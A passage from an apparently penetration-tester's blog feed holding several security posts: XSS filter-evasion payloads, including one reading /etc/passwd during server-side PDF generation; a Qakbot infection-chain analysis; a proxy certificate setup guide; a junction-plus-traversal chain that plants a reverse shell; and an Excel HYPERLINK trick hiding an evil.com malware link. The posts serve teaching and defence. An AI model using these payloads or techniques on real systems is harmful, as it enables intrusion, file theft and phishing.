admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*Mdn1Ti3yZ4v6vbw0ASo0Zw.png" /><figcaption>XSS Payload is executed</figcaption></figure><p>This way, an <strong><em>unauthenticated</em></strong> attacker can potentially get administrative access to the application. Combining this with the former vulnerability is left as an exercise for the reader 😉</p><h4>Some other examples</h4><p>XSS is still quite common, although modern frameworks like React or Angular are doing a great job in mitigating it — if used correctly, or at all.</p><p>But there’s enough room for improvement for existing applications not yet being upgraded to these frameworks, depending on sometimes self-created XSS filters, which almost always can be tricked to introduce XSS, at least based on my personal experience. Here are some more XSS examples I found, briefly explained:</p><p>One application was filtering HTML tags completely from the request, so something like the usual <em>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</em> resulted in being reduced to <em>alert(“XSS”) </em>which didn’t create any issue in the context it was used, it was simply printed as text.<br>But the filter could be evaded with injecting a nested HTML tag where the <em>&lt;s&gt;</em> was removed twice but the resulting string was used as-is:</p><pre>&lt;&lt;s&gt;script&gt;alert(“XSS”)&lt;&lt;s&gt;/script&gt; </pre><p>resulted in</p><pre>&lt;script&gt;alert(“XSS”)&lt;/script&gt;</pre><p>Bingo!</p><p>Another application allowed for adding custom CSS but omitted to check for HTML tags. Injection of HTML was possible by closing the <em>&lt;style&gt;</em> tag the custom CSS was included in:</p><pre>&lt;/style&gt;&lt;script&gt;alert(“XSS”)&lt;/script&gt;&lt;style&gt;</pre><p>In addition, the same custom CSS was used to generate a PDF server-side. You probably know what comes next: Local File Inclusion via PDF generation, a vulnerability I came up with in quite some other pentests. By adding a payload like the one below allowed to read local files from the server, e.g. the again usual <em>/etc/passwd</em> on a linux box which was incorporated in the resulting PDF. Note that this payload is run server-side, not in the user’s browser!</p><pre>&lt;/style&gt;&lt;script&gt;x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open(&#39;GET&#39;,&#39;file:///etc/passwd&#39;,true);x.send();&lt;/script&gt;&lt;style&gt;</pre><p>The final stored XSS example was found in an application where data in a user-provided name field was stored in the database in uppercase and later used directly in the creation of an <em>&lt;option&gt;</em> HTML tag’s attribute.</p><p>Furthermore, <em>&lt;</em> and <em>&gt;</em> were escaped but quotes were not <em>*sic*</em>. In addition, some text was added automatically by the application to the user provided data from the database.</p><p>For the XSS payload to succeed, all of this needed to be taken into account. While it doesn’t make a difference, if the event handler name is upper or lower case, JavaScript code is case-sensitive, so <em>ALERT(“XSS”)</em> doesn’t work. Luckily, there’s HTML encoding. And since the payload was provided via a POST request parameter, the ampersand had to be URL-encoded.<br>I finally was using the <em>onclick</em> event handler of the <em>&lt;option&gt;</em> tag with all case-sensitive data HTML-encoded, using the usual <em>alert(‘XSS’)</em> payload, with an extra semicolon and a JavaScript comment <em>//</em> at the end to ignore the additional data automatically added, resulting in:</p><pre>name=%22+onclick=%26#97;%26#108;%26#101;%26%#114;%26#116;(&#39;XSS&#39;);//</pre><p>The injected payload was finally injected this way</p><pre>&lt;option value=&quot;1&quot; data-name=&quot;&quot; ONCLICK=&quot;alert(&#39;XSS&#39;);// auto-added-text&quot;&gt;</pre><p>leading to the XSS popup.</p><h4>Conclusion</h4><p>As can be seen, XSS is <strong>NOT</strong> just about popups, it’s often even more, or, from an application perspective, can be even disastrous. Beyond the examples given above, there are a lot more bad things to be achieved with XSS, like web defacement, keylogging, port scanning or such. One might also have a look at the <a href="https://beefproject.com/">beef project</a> which gives also a good idea, what can be done.</p><p>Overall, as already stated, it depends on the researcher to show the real impact of an XSS vulnerability to the customer, not only the simple alert popup. To achieve this, you need to dig a little deeper into the application logic, but that’s your job as a researcher anyway, isn’t it. As always, your intercepting proxy’s request history is your friend.</p><p>And developers should refuse creating their own XSS filters but use a framework which already incorporates well tested filters, especially when it comes to the different context the user-provided data is used (content creation versus HTML tag attributes versus dynamically generated JavaScript code).</p><p>For more interesting XSS stuff, stop by the good guys of <a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting">Hacktricks</a> or <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Portswigger</a>.</p><p>Thanks for reading!</p><p>Take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cbbf7b62686" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Qakbot’s Detonation Chain]]></title>
            <link>https://medium.com/@spoppi/qakbots-detonation-chain-72ea01c5bdff?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/72ea01c5bdff</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Mon, 24 Oct 2022 18:03:00 GMT</pubDate>
            <atom:updated>2022-10-24T18:03:00.252Z</atom:updated>
            <content:encoded><![CDATA[<p>Strange, yet interesting</p><p>I recently was requested to do an analysis of an email with a Qakbot attachment. It came in as a zip attachment which contains an HTML file. The email body was written in bad German, and the encoding didn’t show German umlauts correctly. First thought: Nothing sophisticated and easily detectable by an average user.</p><p>Nevertheless, out of curiosity I dug deeper into it.</p><h3>Analysis</h3><p>The attached zip file comes as a potential insurance document and includes only one HTML file:</p><pre>$ unzip -l Insurance_3993\(Sep212022\).zip  <br>Archive:  Insurance_3993(Sep212022).zip <br>  Length      Date    Time    Name <br>---------  ---------- -----   ---- <br>   953595  09-21-2022 19:23   Insurance.html <br>---------                     ------- <br>   953595                     1 file</pre><p>Unzipping the attachment and opening the HTML with Firefox in a sand-boxed Linux environment reveals the following page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_gEFQwHxI3Sjpu42LFGKA.png" /><figcaption>HTML Page shown including a password</figcaption></figure><p>The adversary is mimicking Adobe content to make it look more official. In addition, a document password is shown.</p><p>Furthermore, a download of another zip file is automatically triggered, and this download is not done via a URL through the internet, but is included directly in the HTML file within an SVG image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*Ko9vKBEXWAoSDwlXJjN2zg.png" /><figcaption>Additional Download triggered automagically</figcaption></figure><h4>SVG download trick used</h4><p>Before going further with the second zip file, here’s how they managed to create the “internal” download via SVG scripting.</p><p>First, there’s an embedded and base64 encoded SVG image within the HTML code (shortened for brevity):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/affd479f1bb4b5ed8a25991db9384f55/href">https://medium.com/media/affd479f1bb4b5ed8a25991db9384f55/href</a></iframe><p>The embedded SVG image decodes to the code below which also incorporates the base64 encoded “internal” zip file (again shortened):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a12413d788c1d12ecae6ffa2de19f22b/href">https://medium.com/media/a12413d788c1d12ecae6ffa2de19f22b/href</a></iframe><p>As SVG is based on XML and can include JavaScript which is run in a user’s browser, it can make use of the File and Blob API to create an automatic download.</p><p>The encrypted zip file is stored base64 encoded in the variable <em>text</em> (lines 6–8). The function <em>b64toBlob</em> (lines 9–30) decodes the variable <em>text</em> within the for loop and creates slices with a size of 512 byte of it. These chunks are then pushed into a byte array, which is finally used to create a Blob object (“Binary Large OBject”).</p><p>A JavaScript Blob is described by <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">Mozilla</a> as</p><blockquote>The <strong>Blob</strong> object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream">ReadableStream</a> so its methods can be used for processing the data.</blockquote><p>Then the returned Blob is used to create a JavaScript File object in function <em>newFile</em> (lines 32–38). The File object is named <em>attachment.zip</em> and associated with the mime type <em>application/zip</em> (line 34), so the browser knows how to handle it. It is in turn used to create an object URL (line 35) which represents the File object’s URL. Now the created URL is assigned to the browser’s window location (line 36) which in turn triggers the automated download of this password-protected zip file named <em>attachment.zip</em>. Line 37 is only for cleanup to release memory used for the File object after it has been delivered.</p><h4>Second zip file</h4><p>This second zip file, when decrypted with the password shown above, provides an ISO image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HUoj2LyP9cSuvXaIHYHFg.png" /></figure><p>An ISO image can be seen just like a CD (Compact Disc) - something the younger ones don’t know anymore 😉</p><p>It can be mounted and consists of an own file system and included files. ISO images can be directly mounted with a double-click on Windows from Windows Explorer, creating a new drive letter, which comes handy here — at least from the adversary’s perspective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*wJBa5KNdae9sAzmdkToRIA.png" /><figcaption>Windows Explorer showing ISO image contents</figcaption></figure><p>For further analysis I again used the sand-boxed Linux system and mounted the ISO image:</p><pre>$ sudo mount -o loop,ro Insurance#2250.iso mnt<br>$ cd mnt <br>$ tree <br><strong>.</strong> <br>├── <strong>breezily</strong> <br>│   ├── attorneys <br>│   ├── enviousness.txt <br>│   ├── <strong>factorizationCommutator.cmd</strong> <br>│   ├── <strong>nearly.db</strong> <br>│   ├── nervousness.png <br>│   ├── <strong>redistributedDialogues.js</strong> <br>│   └── unpardoned <br>└── <strong>Insurance.lnk</strong> <br> <br>3 directories, 6 files</pre><p>There are some directories and files which are not involved but added randomly (I suppose) to make it look less suspicious. The files involved in the final stage of the detonation chain are highlighted above, and their description is outlined below:</p><h4><strong>Insurance.lnk</strong></h4><p>A Windows link file which calls the included javascript <em>breezily\redistributedDialogues.js</em> via the Windows default JavaScript handler <em>cscript.exe</em> . This one is the starting point of the final infection when double-clicked.</p><h4><strong>redistributedDialogues.js</strong></h4><p>The JavaScript in turn calls <em>breezily\factorizationCommutator.cmd</em> with the parameter <em>re</em> and exits.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a644a6ea03e6e222af642f2f51fc6360/href">https://medium.com/media/a644a6ea03e6e222af642f2f51fc6360/href</a></iframe><h4><strong>factorizationCommutator.cmd</strong></h4><p>This Windows batch script registers the Qakbot DLL contained in <em>breezily\nearly.db</em> via a slightly obfuscated command including the command line parameter <em>re</em> from <em>redistributedDialogues.js</em>:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/88b2147de0a019cc65ef6ced324e3100/href">https://medium.com/media/88b2147de0a019cc65ef6ced324e3100/href</a></iframe><p>The reason for this kind of obfuscation is to hide the final command from signature-based scanners. The command itself resolves to:</p><pre>regsvr32 breezily\nearly.db</pre><p>It registers the Qakbot DLL in nearly.db and finally starts the infection.</p><h4><strong>nearly.db</strong></h4><p>This is the renamed DLL which starts the Qakbot infection in the end:</p><pre>$ file nearly.db  <br>nearly.db: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows</pre><p>This Qakbot DLL is developed in Delphi according to <em>Detect It Easy</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*A0J4f_CBlWZpQQEuWQ5cEQ.png" /><figcaption>Qakbot DLL developed in Delphi</figcaption></figure><p>No further analysis of the Qakbot sample itself has been done. There are sand-boxes as well as tools such as Elastic Security Lab’s <a href="https://www.elastic.co/de/security-labs/qbot-configuration-extractor">QBOT Configuration Extractor</a> which are able to extract the C2 configuration of Qakbot, but this requires that Qakbot needs to be activated in a controlled Windows environment to get hands on the generated artifacts.</p><h3>Detonation Chain Summary</h3><p>The way this Qakbot sample detonates is quite complex, and also makes me wonder why it has been done this way because there are five user interactions involved as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*uc97nouPzH5MgC19TtBFdw.png" /><figcaption>Detonation Chain (Icons: <a href="https://icons8.com)/">https://icons8.com)</a></figcaption></figure><p>I assume that even with this complex interaction chain it is still possible to lure users into activating a Qakbot infection, else this wouldn’t make sense.</p><p>The upside of this chain — for an adversary — is that this kind of hiding is often not detected by email gateways, sand-boxes or even virus scanners. The Virustotal score, for example, is still only 6/62 for the initial zip file while the ISO’s score is 23/61.</p><p>Take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72ea01c5bdff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using SANS SIFT Workstation or REMnux with SSL Decrypting Proxies]]></title>
            <link>https://medium.com/@spoppi/using-sans-sift-workstation-or-remnux-with-ssl-decrypting-proxies-4a8abe7eadc0?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a8abe7eadc0</guid>
            <category><![CDATA[ssl-certificate]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Sat, 09 Apr 2022 14:15:59 GMT</pubDate>
            <atom:updated>2022-04-09T14:15:59.136Z</atom:updated>
            <content:encoded><![CDATA[<h4>How corporate proxies can make live harder also for threat hunters and malware analysts.</h4><p>Nowadays corporate environments more and more make use of SSL decrypting proxies to address blind spots due to the use of certificate-based encrypted connections. And malware also uses https for connecting to their C2 servers to download further payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*P4k4EOopYN15HQpRKHo2ZA.png" /><figcaption>Company using SSL Decryption (Icons: https://icons8.com)</figcaption></figure><p>As a normal user you won’t see any differences when accessing websites this way, except when there was a malicious download identified and a message was sent back to the user instead of the real content. The required company certificates are already deployed by your IT when using company provided equipment like Windows clients or servers.</p><p>As a threat hunter or malware analyst you might run into issues when you initially set up an analysis system based on e.g. <a href="https://www.sans.org/tools/sift-workstation/">SANS SIFT Workstation</a> or <a href="https://remnux.org/">REMnux</a> in such an environment because these systems are normally not defaults in your corporate — think of it as an appliance. So there are quite some quirks to be worked around, due to the secure defaults of various tools used like python, node.js etc. Using an intercepting proxy breaks the https connections because the company’s certificate authority (CA) almost always is not known by these tools, resulting in weird errors when installing or upgrading such tools.</p><p>Although this post describes the way to handle that for the two given Linux-based security distributions in particular, it can be adapted for others having issues with python pip, apt or node.js in such an environment.</p><h3><strong>WARNING</strong></h3><p><strong>Please refuse from ignoring certificate errors for any of the tools as it makes you prone to man-in-the-middle attacks!</strong></p><p><strong>In other words: Don’t use wget’s </strong><strong>--no-check-certificate option or similar ones for any other tool except you exactly know the implications this would have and you accept the corresponding risk!</strong></p><h3>Configuration of specific tools for SIFT and REMnux</h3><p>The following steps are the ones I took the long way down the road to installing SANS SIFT Workstation and REMnux respectively.</p><ul><li>Get your corporate certificates in pem format, e.g. export them from your Windows certificate store or even browser.<br>In corporate environments the required certificates already need to be deployed on your client. Make sure you export all company certificates simply because it makes sure you don’t miss one and have to find out yourself the missing one(s), this can be tedious.<br>If you can’t export it, ask your client or network team if they can provide them.</li><li>Copy all certificates to the distribution’s <em>/usr/local/share/ca-certificates/</em> directory.<br>Linux distributions are prepared to handle new certificates within this directory (see next step).</li><li>Update the Linux certificate store with our own certificates from the above directory:</li></ul><pre>sudo update-ca-certificates</pre><ul><li>Create an additional certificate-bundle file.<br>This is required since some tools use a separate so-called certificate-bundle containing all certificates as they don’t use the Linux ca-certificates:</li></ul><pre>sudo mkdir /usr/local/share/own-certs<br>sudo cat /etc/ssl/certs/*.pem &gt; /usr/local/share/own-certs/own-bundle.pem</pre><ul><li>As root paste the following snippet into a new apt config file, e.g. <em>/etc/apt/apt.conf.d/own.conf </em>to make apt aware of our ca-bundle:</li></ul><pre>Acquire::https {<br>CAInfo “/usr/local/share/own-certs/own-bundle.pem”;<br>}</pre><ul><li>If your proxy blocks based on the user-agent, you optionally add the following lines to <em>/etc/apt/apt.conf.d/own.conf </em>from above:</li></ul><pre><em>Acquire<br>{<br>http::User-Agent &quot;Mozilla/5.0 (Windows NT 5.1; rv:91.0) Gecko/20100101 Firefox/91.0&quot;;<br>};</em></pre><ul><li>Make root’s wget use also our ca-bundle:</li></ul><pre>sudo echo “ca_certificate = /usr/local/share/own-certs/own-bundle.pem” &gt;&gt; /root/.wgetrc</pre><pre>Optionally do the same for local users&#39; ~/.wgetrc who require the use of wget.</pre><ul><li>Make root’s pip use our ca-bundle.<br>REMnux as well as SIFT are using pip for updates via saltstack started via sudo:</li></ul><pre>sudo pip config set global.cert /usr/local/share/own-certs/own-bundle.pem</pre><ul><li>Make node.js use our ca-bundle (user sansforensics on SIFT or user remnux on REMnux).<br>Especially remnux upgrade is first started as normal user via the node.js cli tool and using sudo internally later on, so we need to set the variable as local user:</li></ul><pre>echo &quot;export NODE_EXTRA_CA_CERTS=/usr/local/share/own-certs/own-bundle.pem&quot; &gt;&gt; ~/.bashrc<br>. ~/.bashrc</pre><ul><li>Make node.js use our ca-bundle for root (both distributions).<br>This is achieved by adding the user’s environment variable NODE_EXTRA_CA_CERTS to the corresponding sudoers file, so sudo adds it to the privileged shell:</li></ul><pre>sudo echo ‘Defaults env_keep += “NODE_EXTRA_CA_CERTS”’ &gt;&gt; /etc/sudoers.d/sansforensics<br><strong>for REMnux change <em>sansforensics</em> above to <em>remnux</em></strong></pre><p>You should now be able to run sudo sift upgrade<br>or remnux upgraderespectively.</p><h3>Upgrade command still gives an error</h3><p>Whenever either command gives you an error check the corresponding saltstack.log file and your proxy log (if you have access to it). There are cases that your proxy is refusing access to a certain download.</p><p>Without proxy log access you might dig through saltstack.log to find the corresponding package which failed. Then have a look to the corresponding salt-state sls file to find the url of the package download:</p><ul><li>For REMnux see<br><a href="https://github.com/REMnux/salt-states/tree/master/remnux">https://github.com/REMnux/salt-states/tree/master/remnux</a></li><li>For SIFT it’s<br><a href="https://github.com/teamdfir/sift-saltstack/tree/master/sift">https://github.com/teamdfir/sift-saltstack/tree/master/sift</a></li></ul><p>Finally, open the url in your browser, so you might see the reason for blocking. But you might end up in a dead end, when the proxy blocks a specific package and your network team won’t accept it as an exception.</p><p>If everything else works and updates, you can go on using SIFT/REMnux but are missing this specific tool.</p><p><strong>That’s beyond the sphere of influence for the SIFT/REMnux guys, so please don’t blame them!</strong></p><p>In some cases, e.g. when a new version of a package has already been published but REMnux or SIFT haven’t been adjusted yet (especially the file’s hash), you have to wait for them to also update the salt-state file to reflect the change. You can have a look into the corresponding GitHub issues, if it’s already a known one, or create your own.</p><p>The guys are very helpful there and provide fast response, so be nice and gentle 😉</p><p>I hope this post saves some time and is helpful in some way.</p><p>Take care and stay secure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a8abe7eadc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A bad Combination: Unprivileged Remote Code Execution and privileged File Write]]></title>
            <link>https://medium.com/@spoppi/a-bad-combination-unprivileged-remote-code-execution-and-privileged-file-write-b3e51a7d83e5?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3e51a7d83e5</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[directory-traversal]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Tue, 22 Feb 2022 19:32:45 GMT</pubDate>
            <atom:updated>2022-02-22T19:32:45.750Z</atom:updated>
            <content:encoded><![CDATA[<p>This post provides a nice little exploit chain I came up with in a recent penetration test.</p><h3>Application Overview</h3><p>The application I tested is providing a client to create workflows which communicates via REST API with the application server. This requires specific rights so not all users are able to create own workflows. These workflows may have files attached, but only some specific types are allowed. Workflows then may be published to other users or user groups.</p><p>In addition, there’s a web front-end for normal users to interact with the workflows. Only a valid login is required here, and the right to access the specific workflow.</p><p>The application was running on a Microsoft Windows server. There were different web services (static web content, REST API service etc.), all running in SYSTEM context. In addition, some functionality which could be triggered from client side intentionally, is running in a low privileged user context, no administrative rights nor special privileges were set.</p><p>Furthermore, the application setup made use of an own data drive D: to separate data from program files on drive C:, which is not a bad idea. Thus, all data handled by the application is stored on drive D:.</p><p>Also the server was fully patched, and it had a monitoring software installed.</p><h3>The Vulnerabilities</h3><p>The first vulnerability I found was an unprivileged Remote Code Execution (RCE). It allowed to run scripts provided from client-side. While this directly enables an attacker to get unprivileged shell access on the box, it couldn’t be directly used to fully compromise the server.</p><p>After digging through various Windows privilege escalation options with no success I stopped here and concentrated again on the application services itself. But at least I could get more insight into the application through the shell access, e.g. log files or changes in the application directories.</p><p>The client application allows to upload specific files along with a workflow, but only checks the file type by extension, and it doesn’t reject these files from uploading even when the content doesn’t match the file type. After some more tests I was able to</p><ul><li>change the file’s content right before uploading without touching the file extension and</li><li>manipulate the corresponding API request’s file name to any arbitrary one including a different extension.</li></ul><p>Further tests showed that the file name entry was also prone to a Directory Traversal vulnerability, and the file was written to disk with SYSTEM rights.</p><p>So the second vulnerability allowed to write any file to any directory within the data drive D:. There was no way to write to drive C: with this second vulnerability, even when using UNC paths (which allowed to get the NETNTLM hash of the machine account btw). This seemed to be a dead end.</p><h3>The Exploit</h3><p>After some more research I was reminded to a feature of the Windows NTFS file system called <em>Junctions</em>:</p><blockquote>“A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, and a junction can link directories located on different local volumes on the same computer.”</blockquote><p>Source: <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/hard-links-and-junctions">https://docs.microsoft.com/en-us/windows/win32/fileio/hard-links-and-junctions</a></p><p>So the idea was to first create a Junction using the RCE vulnerability as a low privileged user on drive D: pointing to drive C:. Any user may create directories — and thus Junctions — in the root directory of a drive on Windows. All it was to do was</p><pre>mklink /J D:\Junction C:\</pre><p>From the former low privilege shell access, I found a monitoring software is installed. A little research showed that it allowed to automatically run programs/scripts from its plugin directory. And the monitoring software is running with SYSTEM rights — else it wouldn’t be able to do its job.</p><p>So the final thing to do was to create and upload e.g. an obfuscated reverse shell to the monitoring software’s plugin directory on drive C: via Directory Traversal (ab)using the Junction on drive D:. The file name can be manipulated using Burp Suite as usual when publishing the workflow:</p><pre>[...]<br>Filename=..\..\Junction\Program Files\Monitoring\plugins\evil.ps1<br>[...]</pre><p>Note that we are on drive D: here.</p><p>This finally created a shell with SYSTEM rights after a short time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*35Bz6aNIWhUzNcxLKe1euA.png" /></figure><p>Mission accomplished 😈</p><p>Find below the attack flow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8XWHYa0zHs2iloAI1Yy3fw.png" /><figcaption>Attack Workflow (Icons: https://icons8.com)</figcaption></figure><p>Wouldn’t this be a nice challenge for OSCP or Hack The Box? 😉</p><h3>Mitigation</h3><ul><li>Even separation of program and data on different drives doesn’t always create sufficient boundaries.</li><li>Never run services with more rights than required. And running web services with SYSTEM rights or an administrative user is ALWAYS a bad idea.</li><li>The same is true with Windows privileges like SeImpersonatePrivilege or SeDebugPrivilege. For more insight see <a href="https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens">https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens</a>.</li><li>Always verify user input on server-side context-based, i.e. check for Directory Traversal on paths and file names etc.</li><li>Hire a pentester to check your application, or make use of a bug bounty program.</li></ul><p>Take care and stay secure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3e51a7d83e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Excel HYPERLINK function for URL Smuggling]]></title>
            <link>https://medium.com/@spoppi/using-excel-hyperlink-function-for-url-smuggling-a61560bed504?source=rss-3452e07baf63------2</link>
            <guid isPermaLink="false">https://medium.com/p/a61560bed504</guid>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[excel]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Sandro Poppi]]></dc:creator>
            <pubDate>Fri, 21 Jan 2022 15:25:19 GMT</pubDate>
            <atom:updated>2022-01-21T15:25:19.711Z</atom:updated>
            <content:encoded><![CDATA[<h3>Using Microsoft Excel for URL Smuggling</h3><p>Evading URL Filters so links reach the user’s inbox</p><p>The majority of cyber attacks against corporate as well as private users nowadays start with a phishing email containing either an attachment or a link to a malicious document. Attackers increasingly strive to smuggle their payloads through existing security services as documented recently in <a href="https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/">Microsoft’s security blog</a>. In that post they are talking about <em>HTML smuggling:</em></p><blockquote>HTML smuggling, a highly evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features, is increasingly used in email campaigns that deploy banking malware, remote access Trojans (RATs), and other payloads related to targeted attacks.</blockquote><p>Contrary to <em>HTML smuggling</em>, where malicious scripts are sent or provided in an obfuscated version, <em>URL smuggling</em> aims in hiding links from being analyzed.</p><p>The initial attack vector is still a phishing email sent to the target user, either with a link or an attached file. With email reputation, spam filters, anti virus or even sandboxes on email gateways, a link or attachment may be flagged as malicious if it was already known or deemed suspicious, and thus the email is not being delivered to the user’s inbox.</p><p>For an attacker it is vital that their emails reach the user. In the remaining article we talk about Microsoft Excel attachments as a <em>URL smuggling</em> vehicle.</p><p>My definition of URL smuggling is:</p><blockquote>A way to obfuscate or hide links from being analyzed and flagged as malicious by security services while still being directly usable by the targeted user.</blockquote><h3>Attack Vector Office Documents</h3><p>When it comes to attacks leveraging office documents like Word, Excel etc. almost always their macro-capable versions are used. These provide ways to execute commands directly on the target user’s system, if they get through to the user’s inbox.</p><p>As these attacks were quite successful, macro-capable file formats like the older Microsoft Office version’s .doc, .xls etc. or their modern counterparts .docm, .xlsm etc. are often filtered or quarantined on email gateways now. Using the non-macro formats .docx or .xlsx might still be required by business processes, so they often aren’t blocked.</p><p><em>“Do these macro-less formats pose a risk?”</em>, you may ask. Well, I’m not talking about exploits like the Equation Editor’s vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882">CVE-2017–11882</a> or similar ones. Of course these kind of vulnerabilities can be exploited without macros, if the underlying vulnerability is not patched.<br>What I’m talking about is built-in functionality which works as expected but may also be used for malicious use cases.</p><h4>(Ab)using Excel’s HYPERLINK Function</h4><p>Microsoft Excel provides a huge amount of built-in functions which work on cells without the need of any macro. The one I’m using here is <a href="https://support.microsoft.com/en-us/office/hyperlink-function-333c7ce6-c5ae-4164-9c47-7de9b76f577f">HYPERLINK</a>. The general form is defined as:</p><pre><strong>HYPERLINK</strong>(link_location, [friendly_name])</pre><pre><strong>link_location</strong>: The URL (or even a UNC path) of a document to be linked. This can also be constructed by concatenating strings and cells.</pre><pre><strong>friendly_name</strong>: An optional text to be shown in the cell instead of the link itself.</pre><p>How can this function be abused for link obfuscation? As already stated in the description of <em>link_location</em>: We make use of concatenation incorporating cells in addition which is an integrated feature of Excel.</p><p>Let’s take an example link which we plan to smuggle to the user by sending an Excel document without being trapped by any security service. It points to an attacker controlled web site and provides a zip file e.g. with a JavaScript-based downloader or something other malicious:</p><pre>https://evil.com/123456/abcdef.zip</pre><p>Next we split the link into arbitrary parts, swap them and add them each into a single cell in the Excel spreadsheet. We do this just to make sure the link won’t be directly extracted from the .xlsx file, neither from reading the content nor by opening it in a sandbox:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*xtyO5vEPGIgZSdEgcwXMdw.png" /><figcaption>Figure 1: Split, swap and add the link to an Excel sheet</figcaption></figure><p>Finally we add the HYPERLINK function to another cell, constructing the intended link from the split cells, add https:// also in a concatenated form, and provide a more “descriptive” name so the user doesn’t directly see the link:</p><pre>=HYPERLINK(&quot;htt&quot; &amp; &quot;ps://&quot; &amp; C1 &amp; A1 &amp; B1;&quot;Click here to see your results in Detail&quot;)</pre><p>This way the link is most probably hidden from being analyzed by security services. The initial link is shown when you point the mouse on the corresponding cell, though.</p><p>The resulting Excel spreadsheet looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*IpuyccVJ1ykJLlQpO54WJA.png" /><figcaption>Figure 2: Excel PoC</figcaption></figure><p>Of course this is not a very sophisticated version in terms of making a user click the link. But as a proof-of-concept this should be sufficient.</p><p>Furthermore it requires one more step (click the Excel attachment) compared to a link directly sent within an email body, but reducing the likelihood of being detected.</p><h3>Side note: Preview in Microsoft Outlook</h3><p>When this Excel file is sent to a user using Microsoft Outlook with preview enabled, the link is also directly clickable from the preview pane without need to open it in Excel.</p><p>In the Outlook desktop app you still get a warning about the risk of an external link when you click it, while when you use the preview feature in the Outlook 365 online version, you don’t get a warning at all.</p><h3>Bottom Line</h3><p>Overall this for me is another way an attacker can hide links until they reach the targeted user. This at least works around various email security measures for links, so it’s up to the endpoint security or proxy/firewall URL filters to kick in.</p><p>I still haven’t seen such attacks in the wild yet. Maybe this is simply because attackers make use of easier ones which still work, so there’s no need for them to adapt. I’ve seen e.g. PDF files containing a screenshot of the well-known Google reCaptcha button without the intended function but having a malicious link underneath. When a user wants to resolve the captcha and clicks it, the underlying URL is opened directly from the PDF.</p><h3>Mitigation</h3><p>To mitigate URL smuggling, user awareness is key. Constantly train your users to double check any URL before clicking on it. Furthermore do the same for files attached to emails or even downloaded from the internet.</p><p>You might also get in touch with your security vendor to see if this URL smuggling attack is already addressed.</p><h3>Microsoft Security Response Center’s answer</h3><p>I opened an MSRC case for URL smuggling back in March 2021 regarding non-detection within their Microsoft Defender for Office 365 subscription. Their response was:</p><blockquote>Microsoft has decided that it will not be fixing this vulnerability in the current version and we are closing this case.</blockquote><p>And after requesting further details about their decision, I received this:</p><blockquote>In this instance the attacker is still requiring a target to click on a malicious link, likely from a random attacker. Specifically a link included in a file from the 